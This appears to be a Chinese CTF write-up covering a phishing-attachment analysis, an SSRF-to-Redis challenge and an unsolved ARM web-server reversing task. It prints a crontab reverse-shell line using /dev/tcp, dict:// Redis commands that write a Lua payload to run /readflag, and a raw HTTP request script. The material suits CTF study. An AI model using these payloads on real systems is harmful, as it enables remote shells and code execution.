钓鱼邮件 | @Luminoria
Bob收到了一份钓鱼邮件,请找出木马的回连地址和端口。 假如回连地址和端口为123.213.123.123:1234,那么敏感信息为MD5(123.213.123.123:1234),即d9bdd0390849615555d1f75fa854b14f,以Cyberchef的结果为准。
附件是邮件的eml文件,处理一下,删除部分标记,可以得到附件部分的base64编码值,尝试赛博厨师解码,发现PK头

用Python处理,写成文件
import base64
with open("email.txt") as f: data = f.read().replace("\r\n", "")
with open("raw.txt", "wt") as f: f.write(data)
with open("file", "wb") as f: dec_data = base64.b64decode(data) f.write(dec_data)binwalk后确定为zip

打开发现有密码,但是邮件里面说了是生日礼物
------=_NextPart_67318E01_3D423680_45B6667DContent-Type: text/html; charset="utf-8"Content-Transfer-Encoding: base64
PGRpdiBjbGFzcz0icW1ib3giPjxwIHN0eWxlPSJmb250LWZhbWlseTogLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAmcXVvdDtQaW5nRmFuZyBTQyZxdW90OywgJnF1b3Q7TWljcm9zb2Z0IFlhSGVpJnF1b3Q7LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwLjVwdDsgY29sb3I6IHJnYig0NiwgNDgsIDUxKTsiPuS7iuWkqeaYr+S9oOeahDI05bKB55Sf5pel77yM56Wd5L2g55Sf5pel5b+r5LmQPC9wPjxkaXYgeG1haWwtc2lnbmF0dXJlPSIiPjx4bS1zaWduYXR1cmU+PC94bS1zaWduYXR1cmU+PHA+PC9wPjwvZGl2PjwvZGl2Pg==
------=_NextPart_67318E01_3D423680_45B6667D--<div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div>发送时间可以看到为published: Mon, 11 Nov 2024 12:54:24 +0800,所以结合信息,猜测密码为20001111,得到exe文件
喂给奇安信沙箱,可以直接得到链接的IP地址和端口

222.218.218.218:55555经过md5计算后为df3101212c55ea8c417ad799cfc6b509,即为答案
CachedVisitor | @Ron
个人做法(未出)
附件给了docker镜像,经过检查存在SSRF漏洞且容器出网

并且没有禁用file://协议

参考网上的各种攻击手段,尝试用crontab反弹一个shell出来
set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/IP/PORT 0>&1\n\n"config:set:dir:/etc/config:set:dbfilename:crontabbgsave发现服务器没反应,访问file:///etc/crontab发现确实存在进去的任务

但是没有与我的服务器建立连接,查证为crontab没开,算了,交给队友吧
队友做法 | @Ron
部分有用的测试:



容器出网且可读取文件
dict协议可用,可访问redis
分析了一下源代码
main.lua从visit.script中读取\##LUA_START##和##LUA_END##之间的内容作为脚本运行
COPY flag /flagCOPY readflag /readflagRUN chmod 400 /flagRUN chmod +xs /readflagflag设置了权限无法直接读取
尝试使用redis写visit.script进行RCE
在本地docker编写lua测试可以输出flag
##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##直接使用redis将lua写入visit.script
dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##"dict://127.0.0.1:6379/config:set:dir:/scripts/dict://127.0.0.1:6379/config:set:dbfilename:visit.scriptdict://127.0.0.1:6379/bgsave写入之后随意发送一个请求即可执行我们写入的脚本
dart{dc2e4048-dca7-4fa3-9803-8ee9d785af2b}
ez_arm | @Luminoria (未出)
{% note info %}
本题附件:https://ctf-files.bili33.top/CCSSSC2025/Preliminary/ez_arm.zip
{% endnote %}
附件给了个压缩包,解压出来内容如下
- ez_arm/
- html/
- index.html
- httpd
- libc.so.6
- start.sh
- html/
我先把start.sh和index.html这两个个人感觉没啥用的东西内容放下面
#!/bin/sh# Add your startup script
# DO NOT DELETE/etc/init.d/xinetd start;echo DART{$FLAG} > /home/ctf/flag.txt;chmod 444 /home/ctf/flag.txt;unset FLAG;export FLAG=not_flagrm /bin/sh;sleep infinity;{Hello}而题目名称ez_arm,告诉我们是arm架构的产物,然后我先去找队友要了个全架构IDA,反编译后得到循环调用的用于处理http请求的代码(部分函数已经被我改过名字了)
int sub_10B04(){ int v0; // r2 struct tm *v1; // r0 int v2; // r0 char v4; // [sp+18h] [bp+8h] BYREF char v5; // [sp+1Ch] [bp+Ch] BYREF char v6; // [sp+20h] [bp+10h] BYREF char v7; // [sp+24h] [bp+14h] BYREF char v8; // [sp+28h] [bp+18h] BYREF struct dirent **v9; // [sp+2Ch] [bp+1Ch] BYREF struct stat v10; // [sp+30h] [bp+20h] BYREF char v11[16]; // [sp+8Ch] [bp+7Ch] BYREF char v12[8]; // [sp+9Ch] [bp+8Ch] BYREF int v13; // [sp+A4h] [bp+94h] _BYTE v14[1020]; // [sp+A8h] [bp+98h] BYREF char v15[1000]; // [sp+4A4h] [bp+494h] BYREF char v16[20000]; // [sp+88Ch] [bp+87Ch] BYREF char v17[20000]; // [sp+56ACh] [bp+569Ch] BYREF char v18[10000]; // [sp+A4CCh] [bp+A4BCh] BYREF char v19; // [sp+CBDCh] [bp+CBCCh] BYREF _BYTE v20[9999]; // [sp+CBDDh] [bp+CBCDh] BYREF char v21[10000]; // [sp+F2ECh] [bp+F2DCh] BYREF char v22[10000]; // [sp+119FCh] [bp+119ECh] BYREF char v23[10]; // [sp+1410Ch] [bp+140FCh] BYREF __int16 v24; // [sp+14116h] [bp+14106h] BYREF FILE *v25; // [sp+1681Ch] [bp+1680Ch] int v26; // [sp+16820h] [bp+16810h] char *v27; // [sp+16824h] [bp+16814h] char *v28; // [sp+16828h] [bp+16818h] char *v29; // [sp+1682Ch] [bp+1681Ch] int v30; // [sp+16830h] [bp+16820h] size_t v31; // [sp+16834h] [bp+16824h] size_t v32; // [sp+16838h] [bp+16828h] int v33; // [sp+1683Ch] [bp+1682Ch] int i; // [sp+16840h] [bp+16830h] char *j; // [sp+16844h] [bp+16834h] int k; // [sp+16848h] [bp+16838h] char *v37; // [sp+1684Ch] [bp+1683Ch]
v13 = 0; memset(v14, 0, sizeof(v14)); v32 = 0; v31 = 0; v30 = 0; if ( chdir("/home/ctf/html") < 0 ) make_response(500, "Internal Error", 0, "Config error - couldn't chdir()."); if ( !fgets(v22, 10000, (FILE *)stdin) ) make_response(400, "Bad Request", 0, "No request found."); if ( _isoc99_sscanf(v22, "%10000[^ ] %10000[^ ] %10000[^ ]", v21, &v19, v18) != 3 ) make_response(400, "Bad Request", 0, "Can't parse request."); if ( !fgets(v22, 10000, (FILE *)stdin) ) make_response(400, "Bad Request", 0, "Missing host."); v29 = strstr(v22, "host: "); if ( !v29 ) make_response(400, "Bad Request", 0, "Missing host."); v28 = strstr(v29 + 6, "\r\n"); if ( v28 ) { *v28 = 0; } else { v28 = strchr(v29 + 6, (int)"\n"); if ( v28 ) *v28 = 0; } if ( strlen(v29 + 6) <= 7 ) make_response(400, "Bad Request", 0, "host len error."); if ( v29 == (char *)-6 || !v29[6] ) make_response(400, "Bad Request", 0, "host format error.");// 小写host _isoc99_sscanf(v29 + 6, "%d.%d.%d.%d%c", &v8, &v7, &v6, &v5, &v4); if ( !fgets(v22, 10000, (FILE *)stdin) ) make_response(400, "Bad Request", 0, "Missing Content-length.");// length小写的Content-Length v29 = strstr(v22, "Content-length: "); if ( !v29 ) make_response(400, "Bad Request", 0, "Missing Content-length."); v28 = strstr(v29 + 16, "\r\n"); if ( v28 ) *v28 = 0; v33 = atoi(v29 + 16); if ( strlen(v29 + 0x10) > 4 ) make_response(400, "Bad Request", 0, "Content-length len too long."); if ( strcasecmp(v21, "get") && strcasecmp(v21, "post") )// 必须为GET或者POST make_response(501, "Not Implemented", 0, "That method is not implemented."); if ( strncmp(v18, "HTTP/1.0", 8u) ) // HTTP协议版本1.0 make_response(400, "Bad Request", 0, "Bad protocol."); if ( v19 != 47 ) make_response(400, "Bad Request", 0, "Bad filename."); v37 = v20; sub_11C46(v20, v20); // 没看明白在干啥 if ( !*v37 ) v37 = "./"; // 默认路径为当前目录 v32 = strlen(v37); if ( *v37 == 47 || !strcmp(v37, "..") // 文件路径不包含下面这一坨 || !strncmp(v37, "../", 3u) || strstr(v37, "/../") || !strcmp(&v37[v32 - 3], "/..") ) { make_response(400, "Bad Request", 0, "Illegal filename.");// 触发限制返回400 } v27 = strchr(v37, 63); if ( v27 ) { for ( i = 0; i <= 9999; ++i ) v23[i] = 0; i = 0; for ( j = v37; j != v27; ++j ) { v0 = i++; v23[v0] = *j; } v23[i] = 0; } else { strcpy(v23, v37); } if ( strcmp(v23, "auth.cgi") ) { if ( sub_121F4(v37, &v10) < 0 ) make_response(404, "Not Found", 0, "File not found."); if ( (v10.st_mode & 0xF000) == 0x4000 ) { if ( v37[v32 - 1] != 47 ) { snprintf(v16, 0x4E20u, "Location: %s/", &v19); make_response(302, "Found", v16, "Directories must end with a slash."); } snprintf(v17, 0x4E20u, "%sindex.html", v37); if ( sub_121F4(v17, &v10) < 0 ) { make_response_header(200, "Ok", 0, "text/html", -1, v10.st_mtim.tv_sec); v26 = scandir(v37, &v9, 0, alphasort); if ( v26 >= 0 ) { for ( k = 0; k < v26; ++k ) { sub_11D3E(v15, 1000, v9[k]->d_name); snprintf(v17, 0x4E20u, "%s/%s", v37, v9[k]->d_name); if ( sub_12200(v17, &v10) >= 0 ) { v1 = localtime(&v10.st_mtim.tv_sec); strftime(v11, 0x10u, "%d%b%Y %H:%M", v1); printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v15, v9[k]->d_name, v11, (__int64)v10.st_size); sub_11832(v17); } printf("<a href=\"%s\">%-32.32s</a> ???\n", v15, v9[k]->d_name); printf( "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n", "https://www.dart.com/", "DART"); } } else { perror("scandir"); }LABEL_81: fflush((FILE *)stdout); exit(0); } v37 = v17; } memset(v15, 0, sizeof(v15)); v25 = fopen(v37, "r"); if ( !v25 ) // 打不开目标文件,告诉你写保护了 make_response(403, "Forbidden", 0, "File is protected."); v2 = sub_11BE2(v37); make_response_header(200, "Ok", 0, v2, v10.st_size, v10.st_mtim.tv_sec);// 构造返回头 fgets(v15, 64, v25); printf("The encryption %s:", v37); sub_11DE0(v15); fclose(v25); goto LABEL_81; } if ( strcasecmp(v21, "post") ) make_response(400, "Bad Request", v30, "Only POST"); fgets(v12, 5, (FILE *)stdin); if ( strcmp(v12, "\r\n") ) make_response(400, "Bad Request", v30, "text/html"); v31 = strlen(v23); v32 = sub_11FF2(stdin, &v23[v31 + 1], v33); if ( !security_check(&v24) ) make_response(400, "Bad Request", v30, "Illegal character"); if ( !v32 ) make_response(400, "Bad Request", v30, "No data"); v23[v32 + 1 + v31] = 0; sub_11A50(200, "OK", v30, "text/html"); return 0;}其中,因为sub_11ACC有很明显的html返回头特征,所以更名为make_response_header
int __fastcall sub_11ACC(int a1, const char *a2, const char *a3, const char *a4, int a5, time_t a6){ struct tm *v6; // r0 struct tm *v7; // r0 char v11[100]; // [sp+10h] [bp+10h] BYREF time_t v12; // [sp+74h] [bp+74h] BYREF
printf("%s %d %s\r\n", "HTTP/1.0", a1, a2); printf("Server: %s\r\n", "DART"); v12 = time(0); v6 = gmtime(&v12); strftime(v11, 0x64u, "%a, %d %b %Y %H:%M:%S GMT", v6); printf("published: %s\r\n", v11); if ( a3 ) printf("%s\r\n", a3); if ( a4 ) printf("Content-Type: %s\r\n", a4); if ( a5 >= 0 ) printf("Content-Length: %lld\r\n", (__int64)a5); if ( a6 != -1 ) { v7 = gmtime(&a6); strftime(v11, 0x64u, "%a, %d %b %Y %H:%M:%S GMT", v7); printf("Last-Modified: %s\r\n", v11); } puts("Connection: close\r"); return puts("\r");}而sub_119D6有html部分,所以我更名为了make_response
void __fastcall __noreturn sub_119D6(int a1, const char *a2, const char *a3, const char *a4){ make_response_header(a1, a2, a3, "text/html", -1, -1); printf("<html><head><title>%d %s</title></head>\n<body bgcolor=\"#cc9999\"><h4>%d %s</h4>\n", a1, a2, a1, a2); puts(a4); printf("<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n", "https://www.dart.com/", "DART"); fflush((FILE *)stdout); exit(0);}然后开始分析逻辑部分,直接访问会告诉我们Missing host.,不难发现是触发了下面的代码
if ( !fgets(v22, 10000, (FILE *)stdin) ) make_response(400, "Bad Request", 0, "Missing host."); v29 = strstr(v22, "host: "); if ( !v29 ) make_response(400, "Bad Request", 0, "Missing host.");C语言的strstr是用于查找提供的内容在传入的字符串中出现的位置的,而查找的内容很容易发现是host:而不是Host:,http请求中的主机名的键是大写的Host,所以要对此进行修改
通过burpsuite进行修改后,发现返回的内容变成了Missing Content-length.,所以触发了下面的这部分代码
if ( !fgets(v22, 10000, (FILE *)stdin) ) make_response(400, "Bad Request", 0, "Missing Content-length.");// length小写的Content-Length v29 = strstr(v22, "Content-length: "); if ( !v29 ) make_response(400, "Bad Request", 0, "Missing Content-length.");同样这里也挖了个坑,常规的应该是Content-Length而不是Content-length(l的大小写问题),而我用burpsuite修改的时候,它会自动帮我纠正这个大小写问题,于是写了个Python脚本
这里我把其他没有用的东西删掉了,是因为如果把Content-length放在最下面(如同常规的HTTP请求),会检测不到,所以我猜应该是host行下面就进行了Content-length的检测,而且只传入一行
import socketimport socksimport sys
def send_custom_http_request(): # 代理服务器详情 proxy_host = 'PROXY_HOST_PROVIDED_BY_PLATFORM' proxy_port = 65535 proxy_username = 'PROXY_USERNAME_PROVIDED_BY_PLATFORM' proxy_password = 'PROXY_PASSWORD_PROVIDED_BY_PLATFORM'
# 目标服务器详情 target_host = '192.0.100.2' target_port = 9999 target_url = '/.bash_history'
# 构造带有特定大小写的 HTTP POST 请求 http_request = ( f'POST {target_url} HTTP/1.1\r\n' f'host: {target_host}:{target_port}\r\n' f'Content-length: 0\r\n' f'\r\n' )
try: # 创建一个 SOCKS5 代理套接字 sock = socks.socksocket() sock.set_proxy(proxy_type=socks.SOCKS5, addr=proxy_host, port=proxy_port, username=proxy_username, password=proxy_password)
# 连接到目标服务器通过代理 sock.connect((target_host, target_port)) print("已成功连接到目标服务器通过 SOCKS5 代理。")
# 发送 HTTP POST 请求 sock.sendall(http_request.encode('utf-8')) print("已发送 HTTP POST 请求。")
# 接收响应 response = b'' while True: data = sock.recv(4096) if not data: break response += data
# 解码响应 with open("response", "wb") as f: f.write(response) response_text = response.decode('utf-8', errors='replace') print("收到响应:") print(response_text)
# 检查是否收到 200 OK 状态 if '200 Ok' in response_text: print("正确连接。") else: print("连接可能不正确。未收到 200 OK 状态。")
# 关闭套接字 sock.close()
except Exception as e: print(f"发生错误:{e}") sys.exit(1)
if __name__ == '__main__': send_custom_http_request()最后触发了Bad protocol.,看了源码发现HTTP协议版本要1.0
if ( strncmp(v18, "HTTP/1.0", 8u) ) // HTTP协议版本1.0 make_response(400, "Bad Request", 0, "Bad protocol.");所以改了上面的脚本的请求部分
# 构造带有特定大小写的 HTTP POST 请求 http_request = ( f'POST {target_url} HTTP/1.0\r\n' f'host: {target_host}:{target_port}\r\n' f'Content-length: 0\r\n' f'\r\n' )然后就可以读取到东西了,但是发现返回的头有点异常,并且index.html的内容也不是{Hello},16进制返回为FF467C86CADA22870A
HTTP/1.0 200 OkServer: DARTpublished: Sun, 05 Jan 2025 14:54:14 GMTContent-Type: text/html; charset=iso-0001-1Connection: closecharset里面用了一个从没见过的编码方式iso-0001-1,翻了代码发现还有个iso-0002-1
在sub_11BE2里面可以看到返回的逻辑
const char *__fastcall sub_11BE2(const char *a1){ const char *s1; // [sp+Ch] [bp+Ch]
s1 = strrchr(a1, 46); if ( !s1 ) return "text/plain; charset=iso-0000-1"; if ( !strcmp(s1, ".html") || !strcmp(s1, ".htm") ) return "text/html; charset=iso-0001-1"; return "text/plain; charset=iso-0002-1";}反正就是,如果扩展名为.htm,就返回charset=iso-0002-1,否则都返回charset=iso-0001-1
并且,如果尝试访问/../../../../../../flag,就会返回Illegal filename.,应该是触发了下面这一坨条件
v32 = strlen(v37); if ( *v37 == 47 || !strcmp(v37, "..") // 文件路径不包含下面这一坨 || !strncmp(v37, "../", 3u) || strstr(v37, "/../") || !strcmp(&v37[v32 - 3], "/..") ) { make_response(400, "Bad Request", 0, "Illegal filename.");// 触发限制返回400 }源码里有一个特别的路径auth.cgi(完整源码在上面,这里不重复复制粘贴了)
if ( strcmp(v23, "auth.cgi") )实测如果访问/auth.cgi,会卡住无返回
此外,还找到一个疑似安全检查函数sub_12050(被我改名为security_check)
bool __fastcall sub_12050(const char *a1){ char v4[4]; // [sp+8h] [bp+8h] BYREF int v5; // [sp+Ch] [bp+Ch] BYREF char v6[8]; // [sp+10h] [bp+10h] BYREF
strcpy(v6, "flag"); v5 = 7627107; strcpy(v4, "sh"); if ( strchr(a1, 38) ) return 0; if ( strchr(a1, 124) ) return 0; if ( strchr(a1, 36) ) return 0; if ( strchr(a1, 123) ) return 0; if ( strchr(a1, 125) ) return 0; if ( strchr(a1, 62) ) return 0; if ( strchr(a1, 42) ) return 0; if ( strchr(a1, 39) ) return 0; if ( strchr(a1, 34) ) return 0; if ( strchr(a1, 96) ) return 0; if ( strchr(a1, 80) ) return 0; if ( strchr(a1, 85) ) return 0; if ( strstr(a1, (const char *)&v5) ) return 0; if ( strstr(a1, v4) ) return 0; return strstr(a1, v6) == 0;}对于此函数,GPT的解释如下

至此没有其他头绪了,看看后面有没有大佬做出来吧